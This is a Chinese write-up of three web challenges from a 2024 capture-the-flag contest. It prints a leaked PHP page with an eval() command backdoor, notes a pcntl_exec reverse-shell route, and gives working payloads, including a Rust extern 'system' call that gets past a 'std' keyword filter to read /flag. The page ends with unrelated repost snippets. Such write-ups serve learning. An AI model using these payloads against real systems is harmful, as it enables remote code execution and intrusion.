【2024红明谷】三道Web题目的记录

红明谷

文章目录

  • 红明谷
    • Web1 | SOLVED Later
    • Web2 | UNSOLVED
    • Web3 | SOLVED

容器已经关咯,所以有些场景只能靠回忆+描述啦,学习为主,题目只是一个载体~

本次比赛学习为主,确实再一次感受到久违的web题目的魅力了,可能也是好久没做的原因哈哈

Web1 | SOLVED Later

开题后首先一个界面是一个php界面,其中提供了一个post参数f

但是这个参数是什么都执行不了的。

所以我们需要进行侧信道攻击

其中具体原理不清楚,但是最后的工具确实可以一把梭

image-20240403183514925

读取到这里就OK了 不需要全爆的

因为我们的目的在于获得这个正确的参数值ezphpPhp8

加上参数后可以正常访问到界面

本来一气呵成,直接触发一个getflag 多完美,但是就偏偏出了个unset把匿名类给销毁了,这。。。

既然是销毁的匿名类,我们就去找一下如何触发匿名类

image-20240403184023204

https://hi-arkin.com/archives/php-anonymous-stdClass.html

但是每次的列数具有一定的随机性,所以上bp多跑几次就OK了

image-20240403184143961

payload:

http://eci-2zehaurgvwox6uxhazeh.cloudeci1.ichunqiu.com/flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$12

Web2 | UNSOLVED

扫一下目录发现

www.zip泄露

image-20240403141152570

拿到用户名和密码登录

后面就卡主了,赛后请教了一下其他师傅,记录一下思路吧,后面学习(环境无了 好难受

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {header('WWW-Authenticate: Basic realm="Restricted Area"');header('HTTP/1.0 401 Unauthorized');echo '小明是运维工程师,最近网站老是出现bug。';exit;
} else {$validUser = 'admin';$validPass = '2e525e29e465f45d8d7c56319fe73036';if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {header('WWW-Authenticate: Basic realm="Restricted Area"');header('HTTP/1.0 401 Unauthorized');echo 'Invalid credentials';exit;}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>

这里关注cmd这个点,学习无参数rce是什么

无参rce

image-20240403191739444

然后去读取一些内容

尤其是在读/usr/local/etc/php/php.ini 这个 可以发现pcntl_exec 这个函数没有被禁用

https://www.php.net/manual/en/function.pcntl-exec.php

学习一下这个函数怎么用,然后利用该函数反弹shell

Web3 | SOLVED

关键题目代码:

#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{if code.contains("std") {return "Error: std is not allowed".to_string();}//generate a random 5 length file namelet file_name = rand::thread_rng().sample_iter(&rand::distributions::Alphanumeric).take(5).map(char::from).collect::<String>();if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {file.write_all(code.as_bytes());}if let Ok(build_output) = Command::new("rustc").arg(format!("playground/{}.rs",&file_name)).arg("-C").arg("debuginfo=0").arg("-C").arg("opt-level=3").arg("-o").arg(format!("playground/{}",&file_name)).output() {if !build_output.status.success(){fs::remove_file(format!("playground/{}.rs",&file_name));return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();}}fs::remove_file(format!("playground/{}.rs",&file_name));if let Ok(output) = Command::new(format!("playground/{}",&file_name)).output() {if !output.status.success(){fs::remove_file(format!("playground/{}",&file_name));return String::from_utf8_lossy(output.stderr.as_slice()).to_string();} else{fs::remove_file(format!("playground/{}",&file_name));return String::from_utf8_lossy(output.stdout.as_slice()).to_string();}}return String::default();}

解题:

首先看到rust,不熟的语言加上解出的人很多,就应该在语言上没有设置太大障碍吧,拷打gpt!

路由非常明确:post(“/rust_code”

post传参 ,传到/rust_code 路由下

这段 Rust 代码是一个 Rocket Web 框架中的一个处理 POST 请求的路由处理函数。以下是对代码中每一行的解释:#[post("/rust_code", data = "<code>")]: 这是一个 Rocket 框架的路由宏,用于定义一个处理 POST 请求的路由,该路由的路径为 /rust_code,并且期望接收名为 code 的数据作为请求体。fn run_rust_code(code: String) -> String {: 这是一个函数定义,用于处理接收到的 POST 请求,函数名为 run_rust_code,接收一个 String 类型的参数 code,并返回一个 String 类型的结果。!!!!!注意这里 在上waf  禁用了std
if code.contains("std") { return "Error: std is not allowed".to_string(); }: 这行代码检查接收到的 code 是否包含字符串 "std"。如果包含,则返回一个表示错误信息的字符串 "Error: std is not allowed"。let file_name = rand::thread_rng() ... .collect::<String>();: 这行代码生成一个随机的文件名,使用 Rust 的 rand 库来生成随机字符,并拼接成一个长度为 5 的字符串作为文件名。if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) { file.write_all(code.as_bytes()); }: 这段代码创建一个新文件,并将接收到的 code 写入该文件中。如果文件创建成功,则将 code 写入文件中。if let Ok(build_output) = Command::new("rustc") ... { ... }: 这段代码调用系统命令 rustc 来编译刚刚写入的 Rust 代码文件。编译完成后,会产生一个可执行文件。fs::remove_file(format!("playground/{}.rs",&file_name));: 这行代码删除之前创建的 Rust 代码文件,以保持环境的清洁。if let Ok(output) = Command::new(format!("playground/{}",&file_name)) ... { ... }: 这段代码运行刚刚编译生成的可执行文件,并将其输出捕获到变量 output 中。return String::default();: 如果以上步骤都成功执行,则返回一个默认的空字符串作为结果。

简单来说,用户上传代码,只要不包含std,会被这个程序执行,并输出结果

然后我们的目标是通过system函数执行命令,但是system属于外部函数,需要我们声明一下

POST /rust_code HTTP/1.1
Host: eci-2zee51
...
Cache-Control: no-cache
Content-Length: 134//声明外部函数 C语言库函数
extern "C" {fn system(cmd: *const u8) -> i32;
}fn main() {// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作unsafe {system("cat /flag".as_ptr());}
}
flag{91857cfb-7512-4760-afd8-f370e33f1112}

END:

本场Web的难度真的非常喜欢哈哈哈,中等,非常适合我,就是一眼不会,稍微看看或许能理解,仔细想想就能解出的状态,非常好,继续加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/790943.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据转换 | Matlab基于GASF格拉姆角和场一维数据转二维图像方法

目录 效果分析基本介绍程序设计参考资料获取方式 效果分析 基本介绍 基于GASF&#xff08;Gramian Angular Summation Field&#xff09;的方法&#xff0c;将一维数据转换为二维图像的步骤描述 标准化数据&#xff1a; 首先&#xff0c;对一维时序数据进行标准化处理&#xf…

java八股——linux常见命令

上一篇传送门&#xff1a; 点我 说说你知道的linux命令&#xff1f; 1.ls&#xff1a;列出目录内容。 示例&#xff1a;ls -l&#xff08;以长格式显示目录内容&#xff0c;可以缩写成ll&#xff09;&#xff0c;ls -a&#xff08;显示包括隐藏文件在内的所有文件&#xff09…

Python如何下载视频

大家好&#xff0c;今天我将为大家介绍如何使用Python来下载视频。Python作为一门强大的编程语言&#xff0c;不仅可以用于数据分析、机器学习等领域&#xff0c;还能用于网络爬虫和视频下载等任务。下面我将详细介绍如何使用Python来下载视频。 首先&#xff0c;我们需要明确…

MyBatis的基本应用

源码地址 01.MyBatis环境搭建 添加MyBatis的坐标 <!--mybatis坐标--><dependency><groupId>org.mybatis</groupId><artifactId>mybatis</artifactId><version>3.5.9</version></dependency><!--mysql驱动坐…

『51单片机』蜂鸣器

&#x1f6a9; WRITE IN FRONT &#x1f6a9; &#x1f50e; 介绍&#xff1a;"謓泽"正在路上朝着"攻城狮"方向"前进四" &#x1f50e;&#x1f3c5; 荣誉&#xff1a;2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2222年获评…

OpenHarmony实战:轻量级系统之配置其他子系统

除上述子系统之外&#xff0c;还有一些必要但是无需进行移植的子系统。如&#xff1a;分布式任务调度子系统、DFX子系统。 这些子系统添加方式比较简单&#xff0c;在“vendor/MyVendorCompany/MyProduct/config.json”文件中进行如下配置即可&#xff1a; {"subsystem&…

sqlalchemy的Session

在使用SQLAlchemy进行数据库操作时&#xff0c;Session是对数据库交互的主要接口之一。在Session中执行查询时&#xff0c;可以通过不同的方法来添加查询条件&#xff0c;从而筛选出符合要求的记录。以下是一些常见的Session查询中添加条件。 1. 使用filter_by方法 filter_by…

专有钉钉微应用埋点以及本地调试埋点总结

最近在对接浙政钉&#xff0c;稳定性监控、通用采集 SDK、基础埋点、基础埋点&#xff0c;每次发布上去&#xff0c;工作人员那边反馈抓取不到信息 稳定性监控代码、通用采集 SDK index.html <!-- 流量稳定监控 S 关于埋点上线打开--><script src"https://wpk-…

IDEA 中能提高开发效率的插件

目录 前言 插件 Rainbow Brackets AceJump POJO to JSON Json Helper MybatisX Maven Helper PlantUML Integration TONYYI Lingma 前言 IDEA 里又很多好用的插件可以帮助我们提升开发效率&#xff0c;这里罗列下自己开发过程中常用的插件&#xff0c;善于利用插件&…

【第十一届大唐杯全国大学生新一代信息通信技术大赛】赛题分析

赛道一 一等奖 7% 二等奖 15% 三等奖 25% 赛道二 参考文档&#xff1a; 《第十一届大唐杯全国大学生新一代信息通信技术大赛&#xff08;产教融合5G创新应用设计&#xff09;专项赛说明.pdf》 一等奖&#xff1a;7% 二等奖&#xff1a;10% 三等奖&#xff1a;20% 赛项一&am…

unity工程输出的log在哪里?

在编辑器里进行活动输出的log位置&#xff1a; C:\Users\username\AppData\Local\Unity\Editor\Editor.log ------------------------------------ 已经打包完成&#xff0c;形成的exe运行后的log位置&#xff1a; C:\Users\xxx用户\AppData\LocalLow\xx公司\xx项目

销售与营销的区别:从手中到心中

一、引言 在商界&#xff0c;销售和营销常常被视为同义词&#xff0c;但实际上它们各自扮演着不同的角色。简而言之&#xff0c;销售是将产品送到客户手里&#xff0c;而营销则是将产品送到客户心里。这种微妙的差异对于企业的成功至关重要。正如彼得德鲁克所说&#xff1a;“…

Elasticsearch 的索引优化常规项

优化常规项 https://blog.csdn.net/bairo007/article/details/132019575 1、按实际情况适当调整主分片的数量 如果主分片数量太少&#xff0c;会导致每个分片中的数据量过大&#xff0c;而且无法利用集群中所有节点的计算资源。如果主分片数量太多&#xff0c;会导致索引过度…

管理相关方参与的工具与技术

一、沟通管理计划 沟通管理计划是确保项目信息在相关方之间有效传递的基石。它详细描述了如何收集、生成、分发、存储和处置项目信息。沟通管理计划包括: 确定项目沟通的需求;明确沟通的方式、频率和渠道;规定信息分发和存储的责任;确定沟通效果的评估方法。二、相关方分析…

中文bert预训练

我们知道bert-base的大小大约在400M左右&#xff0c;有时候我们的任务比较简单&#xff0c;并不需要如此重量级的bert&#xff0c;这时候&#xff0c;我们可以使用轻量级的tiny-bert&#xff08;100M以内&#xff09;&#xff0c;在保证性能的同时&#xff0c;降低对硬件的门槛…

Kafka中groupid和auto.offset.reset的关系

当消费者已经存储偏移量时 不更改groupid(消费者)时&#xff1a;无论auto.offset.reset是latest还是earliest&#xff0c;都会从记录的偏移量开始消费&#xff0c;即最新的地方消费。 更改groupid(消费者)时&#xff1a;auto.offset.reset是latest时&#xff0c;从最新消费 aut…

Redis安装-Docker

安装redis的docker容器 1、创建redis挂载目录 mkdir -p /liuchaoxu/redis/{data,conf}2、复制配置文件 在 /liuchaoxu/redis/conf 目录中创建文件 redis.conf&#xff0c;文件从 redis-6.2.7.tar.gz 中解压获取 修改默认配置(从上至下依次)&#xff1a; #bind 127.0.0.1 …

游戏引擎中的物理应用

一、 角色控制器 Character Controller和普通的动态对象&#xff08;Dynamic Actor &#xff09;是不同的&#xff0c;主要的三个特点是: 它拥有可控制的刚体间的交互假设它是有无穷的摩擦力&#xff08;可以站停在位置上&#xff09;&#xff0c;没有弹性加速和刹车几乎立即…

《QT实用小工具·十》本地存储空间大小控件

1、概述 源码放在文章末尾 本地存储空间大小控件&#xff0c;反应电脑存储情况&#xff1a; 可自动加载本地存储设备的总容量/已用容量。进度条显示已用容量。支持所有操作系统。增加U盘或者SD卡到达信号。 下面是demo演示&#xff1a; 项目部分代码如下&#xff1a; #if…

spring项目监听redis的key失效事件

spring项目监听redis的key失效事件 redis的key失效事件监听配置 注意: redis单台可以监听key失效事件 只在database 0上支持这个特性 哨兵模式可以监听redis的key失效事件,主的挂了,从的变主,也能监听到 集群模式下, 无法获取key失效通知,需要监听所有的服务才能实现 修改…